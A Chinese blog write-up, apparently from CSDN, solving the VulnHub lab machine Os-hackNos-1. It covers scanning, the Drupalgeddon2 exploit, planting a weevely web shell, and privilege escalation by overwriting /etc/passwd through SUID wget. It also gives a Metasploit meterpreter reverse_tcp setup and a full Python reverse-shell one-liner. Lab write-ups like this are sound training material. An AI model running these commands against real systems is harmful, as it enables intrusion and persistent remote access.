vulhub - Os-hackNos-1

最新推荐文章于 2022-11-25 21:09:50 发布
最新推荐文章于 2022-11-25 21:09:50 发布
阅读量510 收藏
点赞数 2
分类专栏： # vulnhub 实战 文章标签： ssh 运维 linux kali linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44519789/article/details/120194983
版权

一、环境搭建：Os-hackNos-1靶机

  • 实验主机：kali linux 2021 虚拟机（VM）
  • 实验靶机：Os-hackNos-1靶机（VM）
  • 实验网络：NAT模式
  • 实验难度：简单
  • flag：1.普通用户的user.txt；2.root用户的user.txt
  • 技能：漏洞利用 | web应用 | 暴力破解 | 权限提升

二、信息收集：

主机发现：
  • 确认自己的信息：
ifconfig

image.png

  • 探测网段存活主机：
nmap -sP 192.168.138.0/24

image.png

端口扫描：
  • 探测操作系统及软件版本信息
nmap -sTV -p- -Pn 192.168.138.129

image.png

  • 经过探测我们发现，开放了22、80端口
22 端口 ：SSH 服务端口，可能存在 弱口令和暴利破解
80 端口 ：HTTP端口，可以通过目录扫描，去发现网站目录或者网站源码泄露或者备份文件泄露
  • 尝试访问一下 80端口

image.png

目录探测：
  • 探测一下网站目录信息：
探测到的网站目录信息：

http://192.168.138.129/drupal
http://192.168.138.129/index.html
http://192.168.138.129/serverstatus
http://192.168.138.129/drupal/includes
http://192.168.138.129/drupal/index.php
http://192.168.138.129/drupal/misc/                              
http://192.168.138.129/drupal/modules/                           
http://192.168.138.129/drupal/profiles/                          
http://192.168.138.129/drupal/robots.txt
http://192.168.138.129/drupal/scripts/                           
http://192.168.138.129/drupal/sites/                             
http://192.168.138.129/drupal/themes/                            
http://192.168.138.129/drupal/web.config
http://192.168.138.129/drupal/xmlrpc.php

image.png
image.png
image.png
image.png

  • 可以看到网站CMS为drupal7，是存在一个远程代码执行的漏洞的，使用kali的msf模块，搜索drupal对应的exp

三、漏洞发现

  • 发现CMS版本为drupal7 ,搜索一下关于这个的版本CMS漏洞

image.png

四、漏洞利用

git clone https://github.com/dreadlocked/Drupalgeddon2.git

在运行脚本前，需要预装依赖包 highline
gem install highline

./drupalgeddon2.rb http://192.168.X.X/drupal/  (靶机IP地址)

查看权限：
id

查看目录文件：
ls -lh

image.png
image.png

五、权限提升

利用weevely（kali 菜刀）
  • 使用weevely 生成木马，再将木马上传到靶机上。
生成木马：
weevely generate hello ./door.php

打开kali web服务器：
python -m SimpleHTTPServer

在靶机上使用wget工具下载 kali 上生成的木马文件：
wget http://192.168.x.x：8000/door.php

image.png
image.png
image.png

  • 使用weevely生成的木马内容

image.png

浏览用户目录：查看是否存在对我们有用的信息
cd /home
ls -lh
cd james
ls -lh
cat user.txt

image.png

  • 在james用户目录下发现一串MD5哈希，估计是密码
bae11ce4f67af91fa58576c1da2aad4b   解码失败

image.png

  • 浏览一下网站根目录，看看有没有别的利用途径：
切换到网站根目录：
cd /var/www/html
ls -lh

cat alexander.txt    在这个文件中发现一串base64编码的密文

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[->+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+++.<

image.png
image.png

  • 解密结果很明显又使用了别的加密方式，网上查找资料后发现为Brainfuck加密，使用Brainfuck解码
  • 解码之后得到：james:Hacker4514
Brainfuck解密网站：
https://www.splitbrain.org/services/ook
https://www.dcode.fr/brainfuck-language

image.png

切换用户：
  • 尝试切换用户，发现并不能切换用户。

image.png

suid 提权：
  • 先检查哪些命令具有suid权限（具有suid权限的命令可以以文件拥有者的权限执行）
 audit_suidsgid -only-suid /

image.png

  • 可以看到是拥有wget的权限的，进入/etc目录，开启一个临时web服务
cd /etc																					# 切换到 /etc目录下
python3 -m http.server 8888  										# 在靶机上开启一个临时web服务

wget http://192.168.x.x:8888/passwd         		# 在kali上密码文件下载到本地

openssl passwd -1 -salt 账号 密码 					 		 # 利用openssl工具做加密 

python3 -m http.server 9999  										# 在kali上开启一个临时web服务

wget http://192.168.1.7:9999/passwd -0 passwd 	# 在靶机上，将passwd文件从kali上下载到靶机上来

su xiaohuang																		# 切换用户，切换到你刚才设置的

image.png
image.png
image.png

  • 然后回到Os-hackNos-1靶机这边，将密码文件下载过来，并将原密码文件覆盖

image.png

  • 查看passwd文件内容，可以看到写入的用户已经成功添加进去了

image.png

  • 呕吼 ，切换失败了，（太草了）

image.png

msfconsole																																	# 开启msf

search drupal																																# 搜索漏洞组件
use exploit/unix/webapp/drupal_drupalgeddon2（use 模块名称 ） 							 # 选择使用的工具模块

set payload php/meterpreter/reverse_tcp（set payload + 给出指定路径）				 # 设置payload												

set rhosts 192.168.58.156（目标靶机IP地址）																	 # 设置攻击目标	
set lhost 192.168.58.130（攻击机IP地址）																		  # 设置本地监听
set TARGETURI /drupal（目标靶机IP地址）																			 # 设置drupal网站路径
		
run																																				 # 开始攻击

尝试使用NC 反弹一个交互式 shell:
nc -lvvp 4444																															 # 开启本地监听

meterpreter > shell																												 # 写入shell

shell:  需要写入自己的监听地址

python3 -c'import pty; pty.spawn("/bin/bash")'

或

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("本机监听IP地址",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image.png
image.png
image.png
image.png

拓展：

各位路过的朋友，如果觉得可以学到些什么的话，点个赞 再走吧，欢迎各位路过的大佬评论，指正错误，也欢迎有问题的小伙伴评论留言，私信。

每个小伙伴的关注都是本人更新博客的动力！！！
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 ！
在这里插入图片描述

博客中若有不恰当的地方，请您一定要告诉我。前路崎岖，望我们可以互相帮助，并肩前行！

在下小黄
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
vulnhub靶机Os-hackNos-1
Long_gone的博客
01-30 705
一、信息收集 首先扫描靶机IP： arp-scan 192.168.1.110 确定靶机IP为：192.168.1.110后，扫描靶机端口开放情况： nmap -sV -p 0-65535 192.168.1.110 可以看见靶机只开放了22和80端口，然后先访问一下80端口看一下： 是一个Apache2的页面，除此之外就没发现什么其他的东西了，然后再扫描一下目录看看会有什么发现： di...
VulnHub—Os-hackNos-1
weixin_39219503的博客
12-22 518
01 环境搭建 靶机环境下载：https://www.vulnhub.com/entry/hacknos-os-hacknos,401/ 题目信息如下，难度中等偏下，需要获取俩个flag Difficulty : Easy to Intermediate Flag : 2 Flag first user And second root Learning : exploit | Web Ap...
vulnhub靶机 Os-hackNos-1
weixin_46107179的博客
03-02 3824
Os-hackNos-1: 靶机下载 https://www.vulnhub.com/entry/hacknos-os-hacknos,401 下载好靶机之后，如果通过虚拟机打开，不能获取ip地址，kali机也扫描不到靶机ip地址的话，就在启动界面按shift，会出现该画面 然后按e进入编辑界面，将ro改为rw single init=/bin/bash 然后按Ctrl+x进入命令行，ip -a查看网卡，名称为ens33，然后对网卡信息进行编辑 vim /etc/network/interfaces改为如下
vulnhub靶场，Os-hackNos-1
kukudeshuo的博客
07-18 475
vulnhub靶场，Os-hackNos-1 环境准备 攻击机：kali（192.168.58.130） 靶机：Os-hackNos-1（192.168.58.156） 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境，启动即可，将网段设置为NAT模式 信息收集 使用arp-scan确定目标靶机 确定目标靶机IP为192.168.58.156 使用nmap扫描查看目标靶机端口开放情况 开放端口：22、80 浏览器访问目标靶机80端口 就是一个ubuntu系统的默认ht
Centos7漏洞库vulhub-master.zip
03-01
Centos7漏洞库vulhub-master.zip
Vulhub-master
08-08
kali linux 下搭建 Vulhub 靶场（用于无法科学上网导致的下载失败）
vulhub-master.zip
12-03
github下载太慢，来CSDN下载吧，又快又好用 github下载太慢，来CSDN下载吧，又快又好用 github下载太慢，来CSDN下载吧，又快又好用
【VulnHub】Os-hackNos-1复盘
redwand的博客
02-15 441
实验通过drupal的一个RCE漏洞入手getshell，随后在机器上发现错配的suid命令wget，最终使用wget覆盖靶机/etc/passwd方式提权成功。注意要点：在信息收集时候，注意扫描敏感txt文件，本实验通过CHANGELOG.txt确定drupal版本7.57。
vulnhub靶机练习-Os-hackNos-1
yyj1781572的博客
11-25 642
vulnhub靶机练习-Os-hackNos-1
Vulnhub-HackNos-Writeup
Vicl1fe的博客
12-13 367
个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 靶机网址： https://drive.google.com/open?id=1IOpXibf-A9iSwoG4IW8HdXFvDBFoy7N1 靶机知识点： 靶机ip：192.168.34.152 kali：192.168.34.80 信息收集 nmap -sV -p 0-65535 192.168.34.15...
vulhub：Os-hackNos 2.1
qq_38618396的博客
08-23 178
0x00 基本信息 靶机描述 Difficulty : Easy to Intermediate Flag : 2 Flag first user And second root Learning : Web Application | Enumeration | Password Cracking 靶机下载 Download: https://drive.google.com/open?id=1Uszfqoomm7iv_c4aiuNb6UPl8Zgfv58s Download (Mirror): http
vulnhub靶机之Os-hackNos
timesleep的博客
12-13 477
我们的靶机IP为192.168.34.152 kali的IP为192.168.34.175 我们先扫描 我们访问一下80顺带扫一下目录 我们看到有drupal我们先看一下是什么版本 然后我们查了一个exp 好我们把他下载出来 git clone https://github.com/dreadlocked/Drupalgeddon2.git gem install highline ./...
vulhub：Os-hackNos
qq_38618396的博客
08-22 165
0X00 基本信息 描述 Difficulty : Easy to Intermediate Flag : 2 Flag first user And second root Learning : exploit | Web Application | Enumeration | Privilege Escalation Website : www.hackNos.com mail : contact@hackNos.com 下载地址 Os-hackNos-1.ova (Size: 827 MB) Down
oscp——Os-hackNos-1
王嘟嘟的博客
02-03 910
0x00 前言 这个是第十九台机子了，感觉有点感觉了，但是还是差一点东西。 54ix5aW96ICB5amG 链接 https://www.vulnhub.com/entry/hacknos-os-hacknos,401/ 0x01 信息收集 ip 端口 0x02 攻击 1.端口 端口无果 2.web 访问80端口 然后进行目录遍历，可以看到一个是一个drupal的cms 先判断下版本 ...
vulhub：Os-hackNos 3
qq_38618396的博客
08-30 239
0x00基本信息 靶机下载地址： Download: https://drive.google.com/open?id=1zWTU6BFXPmS8BDeoVc766FwUJQZ4-_RT Download (Mirror): https://download.vulnhub.com/hacknos/Os-hackNos-3.ova Download (Torrent): https://download.vulnhub.com/hacknos/Os-hackNos-3.ova.torrent ( Mag
OS-HACKNOS-1
LainWith的博客
12-25 1013
目录介绍信息收集主机发现方法1网站探测目录扫描gobuster目录扫描查看drupal版本搜索EXPRCE-信息收集反弹shell目标1获取james的账密切换身份方法2网站探测dirb 目录扫描dirbuster挖掘drupal目录获取账号密码登录网站msf拿session提权目标2参考 介绍 难度：容易 ——> 中 flag： 两个， 一个是普通用户的user.txt、另外一个是root用户的user.txt 靶机的地址：https://www.vulnhub.com/entry/hacknos-
Os-hackNos-1靶机
niqiu320的博客
05-20 269
靶机环境准备： 1.去靶机的网站进行下载，下载中间那个镜像即可。 2.虚拟机开始一直按shift，弹出一个框，然后按e进入页面 3.一直往下走，找到ro，ro修改为rw single init=/bin/bash，然后按ctrl+x，进入页面 4.查ip发现查不到，记住网卡的名称，2、ens33。准备修改配置信息 5.vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡，把这两个都改成 ens33 6.然后**/etc/init.d/networking restart**
vulhub靶场cve-2019-14234
最新发布
09-19
CVE-2019-14234是指vulhub靶场中的一个漏洞。这个漏洞是由于vulhub中的一个名为Fastjson的组件的安全缺陷引起的。Fastjson是一种广泛使用的Java JSON库，用于在Java应用程序中进行JSON转换。然而，Fastjson在处理...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在下小黄

ღ给个赞 是对小黄最大的支持

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值